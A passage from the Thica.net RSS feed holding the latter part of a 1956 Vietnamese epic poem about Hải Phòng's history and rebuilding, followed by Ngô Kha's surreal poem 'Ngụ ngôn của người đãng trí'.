Những ngày động biển</strong></p><p>1</p><p>Những năm tháng Hải Phòng đầy biến động<br />Đời tôi như cái phao trên mặt biển<br />Có năm người ta đánh Hoa Kiều<br />Bạn cha tôi về chết bên cây mận<br />Có năm xóm bạc trắng màu vôi<br />Những bó chiếu kìn kìn đi ngoài ngõ<br />Chỉ thấy bàn chân người chết dịch<br />Có năm bão từ biển dạt vào<br />Những cây bưởi vừa trổ hoa đã chết<br />Hàng trăm thuyền không về<br />Giêsu<br />Sao người chết mãi không thôi<br />Có năm truyền đơn rải trên cầu nhà máy<br />Lòng chúng tôi bắt đầu hi vọng<br />Có năm cả xóm thợ đình công<br />Chúng tôi nuôi nhau bòn từng hạt gạo<br />Có năm Hỏa Lò dựng lên máy chém<br />Cả Hải Phòng sau những án đau thương<br />Không ai dám nhìn một con gà bị giết<br />Cờ búa liềm lại bay đầu ống khói<br />Chúng tôi nhìn nhau tin tưởng bắt đầu<br />Có năm những đoàn ngựa Nhật đi bào tỉnh<br />Xóm tôi không còn một buồng chuối chín<br />Có năm bom Mĩ đổ xuống quanh nhà<br />Chỉ còn tiếng kêu trời khóc ra máu<br />Xóm tôi càng nghèo xơ xác<br />Đàn gà cũng không kiếm ăn được trên đống rác<br />Hàng trăm ngàn người lại theo tàu ra biển<br />Ai biết cao su đất đỏ là đâu<br />Thỉnh thoảng một xác trôi về bến<br />Bà con không nhìn rõ mặt<br />Những năm tháng bồng bế nhau lũ lượt<br />Vẫn kéo đi vẫn hi vọng ngày ngày<br />Dù chỉ là hi vọng<br />Của ngọn lửa đêm trên bờ biển bão<br />Có con thuyền nào trở lại hay không<br />Hi vọng của những người đàn bà<br />Đứng trên bờ biển bão<br />Thức thâu đêm đợi<br />Dù biển chưa yên dù trắng xóa chân trời</p><p>2</p><p>Trong những ngày đen tối ấy<br />Không thể cúi đầu<br />Đi hết cuộc đời cùng khổ<br />Tôi nhớ lại đôi mắt từng đồng chí<br />Nhìn lại thềm nhà lỗ chỗ vết giọt gianh<br />Như tìm dấu chân vợ con lần cuối<br />Sẽ làm những giọt ánh sáng<br />Trong ngục tối âm u<br />Những đêm chia tay hành động<br />Chúng tôi nhớ hết những bàn tay<br />Những bàn tay sần sùi của đồng chí thợ rèn<br />Những bàn tay run run của đồng chí thợ điện<br />Những bàn tay rắn chắc của Com-ben<br />Những bàn tay ram ráp của Xi-măng<br />Những bàn tay mịn màng của máy chữ<br />Ngày mai dù thiếu một hai người<br />Thiếu một mùi hôi quen thuộc<br />Con mắt nhìn nhau thấy đời nhau và dĩ vãng<br />Những bàn tay không nói dặn dò<br />Mới ngày mồng một tháng năm<br />Hải Phòng thuộc về tay chúng tôi<br />Tàu đứng chết trên bến<br />Máy nằm im rỉ dầu trên mặt đất<br />Mới ngày mồng một tháng năm<br />Hải Phòng Nam Định Hồng Gai Uông Bí<br />Tay chúng tôi<br />Làm thành những ngày động biển<br />Rồi cửa biển về ta<br />Những năm đầu chính quyền cách mạng<br />Giấc mơ của Hải Phòng<br />Như bóng cò trắng bay về lòng tôi thuở nhỏ</p><p>3</p><p>Giấc mơ không thể bay đi<br />Giấc mơ sáng trên ngọn mác<br />Giấc mơ làm cánh tôi bay<br />Vượt vòng đai lô cốt bờ biển đêm ngày<br />Giấc mơ kín lòng Hải Phòng tạm chiếm</p><p>Hải Phòng thành một đống sắt<br />Hòm đạn vỏ chai vỏ hộp<br />Một đống quần áo lính<br />Một cái chợ buôn người<br />Chúng nó đi như đàn bọ hung<br />Rũi vào lòng đất nước chúng ta<br />Chúng nó đi<br />Như đàn châu chấu năm nào<br />Về phá lúa mùa sắp gặt<br />Chúng ta nhớ gì những ngày kháng chiến<br />Một vết đạn giữa trán em bé lên năm<br />Một vết dao trên ngực người con gái đương thì<br />Chúng ta nhớ gì những ngày kháng chiến<br />Một nền nhà máy một hố bom sâu<br />Một mồ chôn chung<br />Một dãy người bị bắn<br />Chúng ta nhớ gì những ngày kháng chiến<br />Mất cả mùa xuân mất cả tình yêu<br />Mất đôi mắt thật rất nhiều rung cảm<br />Mất rất nhiều đồng chí<br />Nhưng chúng ta làm chủ được Hải Phòng<br />Tiếng cười tiếng khóc trên Hải Phòng suy nghĩ<br />Những mái nhà xưa đếm lại thiếu người</p><p>4</p><p>Xưa ai hay hoa phượng mọc bên đường là đẹp<br />Hôm nay hoa đổ vào mắt kính ống quay phim<br />Tờ báo đầu tiên tả chuyện mùi hoa<br />Màu phượng làm duyên đầu câu thơ mới<br />Chúng ta đi mang tâm hồn đứa trẻ<br />Mới trông thấy nhà thấy đèn thấy phố thấy người đi<br />Ngày giải phóng những tiếng nổ chào mừng<br />Góp hơi sức muôn vàn người trong phố<br />Xi mắng Sở dầu Máy chai Máy chỉ<br />Giốc núi Hàng kênh Hạ đoạn Sâm bồ<br />Đò đất Mĩ Khê Phú Xá An Dương<br />Thủy Tú Thủy Đường Đồ Sơn Đồ Hải<br />Chào các anh bộ đội<br />Chào các anh văn nghệ trở về<br />Ngày đêm tiếng chuyển động Hải Phòng<br />Ngày đêm tiếng hát càng lồng lộng<br />Ta còn nghe tiếng sụp đổ tiếng hoài nghi tuyệt vọng<br />Kẻ thù chúng ta nằm im trong bóng tối hôm nay<br />Quanh Hải Phòng bọn Pháp nằm ngổn ngang từng gò đống<br />Những boong ke nằm úp sấp mặt bên đường<br />Những vỏ rượu vỏ hòm trên đất phù sa dưới từng gốc sú<br />Hàng hàng thập tự trơ vơ vắng lạnh bãi cỏ xanh<br />Chúng ta sẽ trả về những bà mẹ Pháp<br />Núi hài cốt cuộc chiến tranh bẩn thỉu<br />Cũng như những người mẹ chúng ta<br />Tiếc những dòng sữa những cái hôn đã mất</p><p>5</p><p>Chúng tôi giữ Hải Phòng<br />Ngăn từng cơn gió muối<br />Phủ trắng máy chúng ta<br />Phục hồi hàng vạn con người<br />Đang nhìn nhà máy kho hàng<br />Cho ngọn lửa nhen trong bếp<br />Những tiếng còi tàu đầu tiên gọi sáng<br />Vang vang tiếng guốc tiếng cười<br />Giữa phố xá mờ sương<br />Tôi gặp lại chiếc khăn trên vai người phu khuân vác<br />Sau mười năm trở lại những kho tàng<br />Đôi mắt lim dim ông thợ hàn gió tới xưởng<br />Những dáng lưng còng trên khắp ngả đường ray</p><p>Chào các anh<br />Chào đồng chí<br />Giờ mình lại gặp ta<br />Ngày nay gặp lại người cùng xóm<br />Gặp những bàn tay hàng chục năm xưa<br />Những đồng chí Liên Xô, Trung Quốc, Ba Lan đầu tiên vào bến<br />Chúng tôi hôn nhau<br />Những đất đai những chân trời gần lại<br />Ước mơ thuở nhỏ của lòng tôi mở cánh<br />Những đường dây cách mạng ngày nay<br />Đã khâu thành chiếc lưới<br />Vô cùng vĩ đại<br />Lòng tôi lại nghe tiếng võng đưa<br />Như mới sinh ra giữa cuộc đời tươi đẹp<br />Mẹ ru tôi những ca dao thuở trước<br />Quê hương chúng ta giờ đã có Hải Phòng<br />Không có lúa đồng thơm nhưng có trăm nhà máy<br />Con ngày nay thật đã thấy chân trời</p><p>&#8212;</p><p><strong>IV. Những ngày báo hiệu mùa xuân</strong></p><p>1</p><p>Tiếng chuông nhà thờ buổi chiều lại đổ<br />Nghe âm u tối lạnh những ngày xưa<br />Trở về mây đen và bóng tối<br />Lãng đãng qua trong mỗi tâm hồn người</p><p>Vàng đôi mắt leo lét bên ngọn nến<br />Vẫn câu kinh mỏi mệt khi xưa<br />Vòi vọi bao niềm đau khổ<br />Tôi nghe người mẹ xa con mong nhớ<br />Vắng bóng con vắng bóng nắng trong nhà<br />Ai biết cao su đất đỏ là đâu<br />Ai cứu những tâm hồn sa ngã ấy<br />Vợ xa chồng<br />Anh xa em<br />Chiều Nam chiều Bắc cùng sầu<br />Tiếng thức dậy niềm cô đơn nuối tiếc<br />Những con người gần ánh sáng chưa quen<br />Rúc đầu trở vào bóng tối<br />Những người bạn gian khổ trong kháng chiến<br />Vợ ốm con đau nhay nhứt lo phiền<br />Chưa quen cảnh nhọ mặt người giữa thời gian sáng tối<br />Chưa hiểu bước đi ngày mới tuổi con</p><p>Gió bão tới đâu cũng không một lúc<br />Rụng hết lá vàng<br />Ngày báo hiệu mùa xuân mầm nở mầm tàn<br />Có người tự nhiên tiếc bàn tay đã mất<br />Từng đêm nhức đau vết đạn trên mình</p><p>Có người tiếc những mùa xuân qua mất<br />Chủ nhật lang thang ngơ ngác giữa kính gương<br />Những đôi mắt bỗng nhiên thèm tơ lụa<br />Thèm những gót chân nhỏ nhắn trên hè<br />Trong những ngày Hải Phòng còn lổng chổng<br />Xác nhà xác máy xác kho hàng<br />Những dãy phố bên đường cửa khép cửa giương<br />Những buổi chiều thưa thớt người trên phố</p><p>Bóng tối của ngày xưa vẫn còn bảng lảng<br />Kẻ thù của chúng ta<br />Lặng lẽ tấn công những tâm hồn sa ngã<br />Những tâm hồn khô như tấm bìa da một cuốn sách thánh kinh</p><p>2</p><p>Nước biển đổ vào quanh Hải Phòng ngày bão<br />Làng mạc bồng bềnh trời đất bềnh bồng<br />Ở những ngọn tre xác xơ mốc lên chất muối<br />Còn lại ít rơm khô của mái nhà trôi<br />Những mảnh lưới thuyền ai bay tan tác<br />Xe gạo ngày đêm từ Hải Phòng về các xóm<br />Chúng tôi đêm ngày vét nước nối đê<br />Tưới ngọt lại ruộng đồng, dựng lại từng thôn xóm<br />Tìm lại những nụ cười ở môi người sống sót<br />Lửa đỏ đêm đêm trên bãi biển bập bùng<br />Trong những ngày khó khăn chồng chất<br />Kẻ thù của chúng ta xuất hiện<br />Những con rồng đất khi đỏ khi xanh<br />Lẫn trong hàng ngũ<br />Những con bói cá<br />Đậu trên những chiếc giây buồm<br />Đang đo mực nước<br />Những con bạch tuộc<br />Bao nhiêu tay chân dìm chết một con người</p><p>Đất nước đang lên da lên thịt<br />Đất nước còn đang nhỏ máu ngày ngày<br />Ta muốn gói cuộc đời gọn gàng như trái vải<br />Đã thấy loài sâu nằm tròn trong cuống<br />Chúng muốn các em nhỏ mới biết đi phải rụng<br />Mòn mỏi dần sức vỡ đất khai hoang<br />Làm rỗng những con người, lùi dần niềm hi vọng<br />Héo dần mầm sáng tạo, mất phẩm giá con người<br />Chúng nó ở bên ta, trong ta, lẻn lút<br />Đào rỗng từng kho tiền gạo, thuốc men<br />Tôi đã thấy từng mặt từng tên xâu chuỗi<br />Tôi sẽ vạch từng tên từng mặt<br />Hãy dừng lại<br />Những tên muốn ôm cây mùa xuân không cho mọc<br />Những tên muốn làm cây to che cớm mầm non<br />Con đường ta đi tự hào lực lượng<br />Con đường nước nguồn thành sông thành biển<br />Con đường ta đi tự hào duy nhất<br />Con đường đi trái đất quanh mặt trời</p><p>3</p><p>Lúa mọc dần chung quanh miền bể<br />Mới ngọt ruộng đồng mới trong dần tiếng hát<br />Hải Phòng hiện lên bóng khói nguy nga<br />Hải Phòng đón tất cả<br />Những con tàu bạn xa xôi<br />Đất đai chúng ta nối Đông Tây làm một<br />Đường bể Đông bể Tây mạch máu chúng ta<br />Như đôi mắt vừa hé mở tìm lại cuộc đời<br />Hải Phòng mở ra biển lớn<br />Đoàn lữ thuyền đi về bốn phía chân trời<br />Nhà mấy tầng tầng dựng lên tổ mật<br />Chúng ta ngày ngày cặm cụi làm ong<br />Mỗi người dân Hải Phòng thật kiếm ăn từ nhỏ<br />Mỗi người dân Hải Phòng đều biết đổ mồ hôi<br />Đất nước ngày nay về tay người thợ<br />Quê hương những người nghèo khổ chúng ta<br />Sức tự hào của những người ở biển<br />Không sợ thiên nhiên không sợ cuộc đời<br />Lòng rộng bao la nhiều chân trời cửa biển<br />Những con tàu đen trùi trũi ra khơi<br />Những con tàu cuốc lầm lì trên những dòng sông cạn</p><p>Hải Phòng dựng lên âm nhạc<br />Nhạc đang biến thành sự thực quanh ta<br />Tôi càng yêu hơn<br />Những cuộc đời sau bức tường xám xa, lem nhem than khói<br />Những bức tường hàng chục năm mưa nắng<br />Trong từng ô từng cửa sổ của dãy phố ven sông<br />Từng căn gác nhỏ chênh vênh chiếc dây phơi quần áo<br />Từng cái hầm nhà lom khom lửa bếp<br />Những lá thuyền chen chúc nép bên nhau<br />Qua chiếc lưới phơi thấp thoáng bóng người<br />Cả cuộc đời của những con hà lóng lánh<br />Bám chắc lấy chân cầu bao nhiêu năm trong bến<br />Đã quen với tôi cả mùi nước tanh tanh<br />Cả đến cuộc đời những cây bàng già trên kè đá cũ<br />Vẫn năm năm trút lá xuống chân cầu<br />Ràng buộc tôi với Hải Phòng những ngày chiến đấu<br />Ràng buộc tôi với Hải Phòng vĩnh viễn<br />Bao tình yêu khát khao hi vọng<br />Gửi từng cuộc đời nhỏ bé<br />Từng thế giới con con</p><p>Với tôi tất cả<br />Đều rộng lớn vô cùng<br />Hải Phòng dựng lên hội họa<br />Những bức tranh tăng dân số chúng ta<br />Có người không biết trăng là đẹp<br />Bỗng nhiên chiều đứng ngắm trăng lên<br />Trên đầu nhà máy<br />Nghe như ai hát trong lòng</p><p>Có người quên hàng chục năm dĩ vãng<br />Chợt nhớ ra tất cả những ước mơ<br />Của những ngày niên thiếu<br />Có người ghét đến hàng rào cửa ngõ<br />Mảnh đất chung quanh những người hàng xóm<br />Đã đến thăm nhau rạng rỡ tiếng cười<br />Có người mang rất nhiều mộng lớn<br />Như đứa trẻ khi làm những con thuyền bằng giấy<br />Quanh quẩn suốt nửa đời<br />Óc hôm nay thành một xưởng đóng tàu buôn</p><p>Có người sống như đường kim mũi chỉ<br />Ngày ngày soi bóng trên gương<br />Lắng bên thời gian trên mái tóc rụng dần<br />Hôm nay tự nhiên mở cửa<br />Những tâm hồn yêu màu nắng hoa viên<br />Yêu màu nắng ngả sân nhà thờ cổ<br />Giữa trưa nghiêng nắng đi chơi phố<br />Tìm những người quen kể chuyện mình</p><p>Có người hàng năm mặt trời không thấy mọc<br />Khép đùi xếp phách tiễn đêm đi<br />Hôm nay ngồi chép bài ca mới<br />Hương cốm mùi rơm ngát giếng đình</p><p>Hải Phòng đã dựng lên thơ<br />Những câu thơ thành sự thật<br />Xưa nghe thời gian thong thả trôi nhay nhứ<br />Xưa nghe rụng nhanh với bao nuối tiếc<br />Không có tiếng vỡ trong không gian<br />Sao có tiếng vỡ trong lòng tiếng vang âm rên rỉ<br />Ta ngày nay đợi từng mùa bình tĩnh<br />Như những người ươm cây<br />Hái hoa trái tự tay mình vun xới</p><p>Thời gian làm trẻ lại chúng ta<br />Khi thời gian là của chúng ta<br />Đất nước bao nhiêu dầu mỡ giàu vô hạn<br />Sinh ra những người khai thác chúng<br />Những con cá ném lên trời cũng sống<br />Chúng ta bắt đầu lại ra đi<br />Dựng lên những Hải Phòng trên miền Bắc</p><p>Tin tất cả và hoài nghi tất cả<br />Chúng ta là những kẻ chài quen biển<br />Thấy ngọn lửa quay đầu<br />Biết bão táp đang trở mình trên mặt sóng<br />Tôi yêu Hải Phòng như Việt Nam nhỏ lại<br />Tôi yêu Việt Nam như tôi biết yêu tôi<br />Hải Phòng dựng lên tư tưởng làm nhựa dẫn lòng tôi<br />Trí tuệ đang dần dần kiến trúc<br />Từng bước Đảng xây bảo vệ con người<br />Tâm hồn ta tràn theo sóng ra khơi<br />Đến chân trời vào các bến xa xôi<br />Các cửa biển bạn<br />Các cửa biển chưa giải phóng<br />Nghe tấm lòng các bạn vỗ hôm nay<br />Triều sóng vang vang quanh bờ biển đêm ngày</p><p>4</p><p>Mùa này nhạn bay ra biển<br />Chim yến từ biển bay về<br />Những chuyện riêng tư bắt đầu kể lại<br />Như thoáng một mùi hương<br />Như chợt nghe một con chim đang hót<br />Sau những ngày động biển<br />Nhu nhú trên những cành mận non<br />Những nụ hoa đang nở hồng hồng<br />Mát hai vai dưới rặng cây bóng lá<br />Đôi lứa thanh niên đến tự tình</p><p>Những đôi chân trắng ngần trên cỏ<br />Những ngón tay quấn quít<br />Hết từng mùa trăng dài<br />Im lặng<br />Đêm tắt đi tiếng ồn ào náo động<br />Cho đôi lứa yêu nhau<br />Những giờ phút ngày xưa chưa có<br />Những cái hôn luôn mới<br />Cái hôn đầu tiên</p><p>5</p><p>Tôi giờ đây liếm môi nóng bỏng<br />Nhìn ra biển bao la<br />Lòng hãy còn nhiều khát vọng<br />Còn rất nhiều khát vọng<br />Biến thành người khổng lồ kêu khát suốt ngày đêm<br />Suốt ngày đêm kêu khát<br />Những ngọn sóng trên cát khô sủi bọt<br />Ngày đêm<br />Mãi mãi<br />Dưới chân tôi<br />Nước ngọt của ngàn sông<br />Bao giờ đổ đầy lòng biển.</p><p><em>Mùa xuân 1956</em></p><p>The post <a href="https://www.thica.net/2013/11/27/nhung-nguoi-tren-cua-bien-truong-ca/">Những người trên cửa biển (Trường ca)</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/11/27/nhung-nguoi-tren-cua-bien-truong-ca/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">11445</post-id>	</item>
		<item>
		<title>Ngụ ngôn của người đãng trí (Trích)</title>
		<link>https://www.thica.net/2013/10/06/ngu-ngon-cua-nguoi-dang-tri-trich/</link>
		<comments>https://www.thica.net/2013/10/06/ngu-ngon-cua-nguoi-dang-tri-trich/#respond</comments>
		<pubDate>Sun, 06 Oct 2013 00:28:00 +0000</pubDate>
		<dc:creator><![CDATA[Ngô Kha]]></dc:creator>
				<category><![CDATA[Ngô Kha]]></category>
		<category><![CDATA[Chiến tranh]]></category>
		<category><![CDATA[Du mục]]></category>
		<category><![CDATA[Say]]></category>
		<category><![CDATA[Trường ca]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12041</guid>
		<description><![CDATA[<p>[...]</p>
<p>Bài diễn văn cuốn theo lớp lá khô<br />
Người say rượu uống nhựa thông nằm chết tình cờ<br />
Đêm sửa soạn bài ngụ ngôn của người đãng trí<br />
Lá từ giã cành cây làm lễ đọc kinh<br />
Người con gái lặng yên xem chúc thư<br />
Bó hoa tôi mang đến dòng sông bây giờ đã héo.</p>
<p>The post <a href="https://www.thica.net/2013/10/06/ngu-ngon-cua-nguoi-dang-tri-trich/">Ngụ ngôn của người đãng trí (Trích)</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>I. </p><p>Bây giờ tôi mang hoa đến dòng sông<br />Đọc diễn văn truy tặng người đãng trí<br />Ngày nằm bệnh tôi mơ thấy vòng tay núi<br />Khúc hát ngu ngơ của bông lau<br />Tháng giêng từ giã thuốc đắng đi tìm cỏ may<br />Tôi không thấy nàng mặc áo chim<br />Chỉ có người hư vô và mặt trời<br />Tôi đếm dấu chân nai trên bản chúc thư tình yêu<br />Có những con đường mang tên em chưa ra đời<br />Những con đường mọc đầy cây ma túy<br />Có những đường mòn mang tên kẻ ngoại tình<br />Tôi mang trái tim người say rượu<br />Bây giờ mùa xuân<br />Vườn cây đã thay đổi áo<br />Những tin mừng về trên bãi cát.<br />Người say rượu ca ngợi sự vinh hoa của cánh đồng<br />Những dòng sông chưa khô nguồn lãng mạn<br />Người say rượu quỳ bên gốc cây già<br />Uống ánh mặt trời và dòng phù sinh vô tận<br />Tôi và người say rượu hát bài ngụ ngôn<br />Bây giờ kẻ ngoại tình đã ngủ say trong lòng gió<br />Và than đá đã thức dậy<br />Nghe gỗ hương nói thì thầm<br />Những hạt cơm đen của mùa Đông<br />Những hạt cơm thơm mùi tóc hồng<br />Trên đá môi trên lời ca thần thoại<br />Than nuôi dưỡng người say rượu<br />Như tôi hằng nuôi dưỡng sự cô đơn.<br />Trên lời ca du mục<br />Người say rượu uống hỏa châu<br />Đội mũ triều thiên<br />Người say rượu bước vào công viên dã tràng<br />Mây hồng hoang mở ngõ<br />Giữa khu rừng mộng mị của người thiếu nữ da đen<br />Người say rượu hái trái nho tươi của em<br />Với bàn tay khảm xà cừ<br />Của loài rắn ngàn năm nuôi trong địa đàng<br />Buổi sáng mai tình cờ em phun nọc độc<br />Trên màu xanh vô vị của thủy tinh.<br />Người say rượu hát bài trần tấu kẻ bán than<br />Những tiếng trầm dấu tích thời đá cũ<br />Tiếng kim châm như nước mắt em<br />Tôi cầm tay người say rượu nói về trái đam mê<br />Chiều đóng cổng giam cầm năm đứa con trai<br />Trong khu vườn tiền sử<br />Những đứa con trai đầu đội mũ rêu xanh<br />Trên ngón tay hoang đường mang lời tự tình của núi<br />Tiếng dương cầm của hoa lài<br />Tuẫn tiết<br />Người say rượu cầm tay đứa con trai<br />Gọi tên ngày ra đời<br />Đứa con trai giằng co với người say rượu<br />Cả hai đi khỏi vùng ảnh hưởng của dòng sông<br />Đứa con trai xua đuổi người đàn bà từ thiện<br />Sau tàng cây khổ hạnh người say rượu lõa thể như một chiếc lá sen<br />Đứa con trai thì mọc đầy lông vũ<br />Người con gái mộng mị chiến tranh<br />Người say rượu ca ngợi cơn say<br />Với đôi mắt đục ngầu của dòng sông<br />Người say rượu mệt mỏi về câu chuyện hòa bình<br />Như đọc kinh buổi trưa<br />Người đàn ông xăm mình đi giữa hai hàng cột<br />Người đàn bà ngồi trên công viên<br />Tay cầm con sư tử đá<br />Ra lệnh chiến tranh<br />Cơn say đến giáp mặt tử thần<br />Trong thung lũng yêu kiều của loài immortel<br />Người say rượu cắm hoa immortel lên vết thương<br />Và vết thương nẩy lộc<br />Trong tấm áo cỏ khô mùa hạ<br />Người say rượu đắp bùn lên trái tim<br />Đứa con trai nhìn hiền hòa<br />Người say rượu lẩm nhẩm một mình<br />Mùa hè có tuyết đen tuyệt đẹp<br />Tôi vụt chạy bỏ linh hồn ở đó<br />Không có đứa con gái, đứa con trai, người say rượu<br />Chỉ có quả gấc hồng hào rực ánh lửa chiến tranh<br />Người con gái đứng nhìn cánh sao lạc loài<br />Trên nét mặt hiền hòa bất động của em<br />Tôi thấy nốt ruồi son chói lọi<br />Tiếng chim sành hót trong tiềm thức người say rượu<br />Vỏ cây nứt một loài hoa vô sắc<br />Tôi lạc vào miền vô vi<br />Bài diễn văn cuốn theo lớp lá khô<br />Người say rượu uống nhựa thông nằm chết tình cờ<br />Đêm sửa soạn bài ngụ ngôn của người đãng trí<br />Lá từ giã cành cây làm lễ đọc kinh<br />Người con gái lặng yên xem chúc thư<br />Bó hoa tôi mang đến dòng sông bây giờ đã héo.</p><p>The post <a href="https://www.thica.net/2013/10/06/ngu-ngon-cua-nguoi-dang-tri-trich/">Ngụ ngôn của người đãng trí (Trích)</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/10/06/ngu-ngon-cua-nguoi-dang-tri-trich/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12041</post-id>	</item>
	</channel>
</rss>
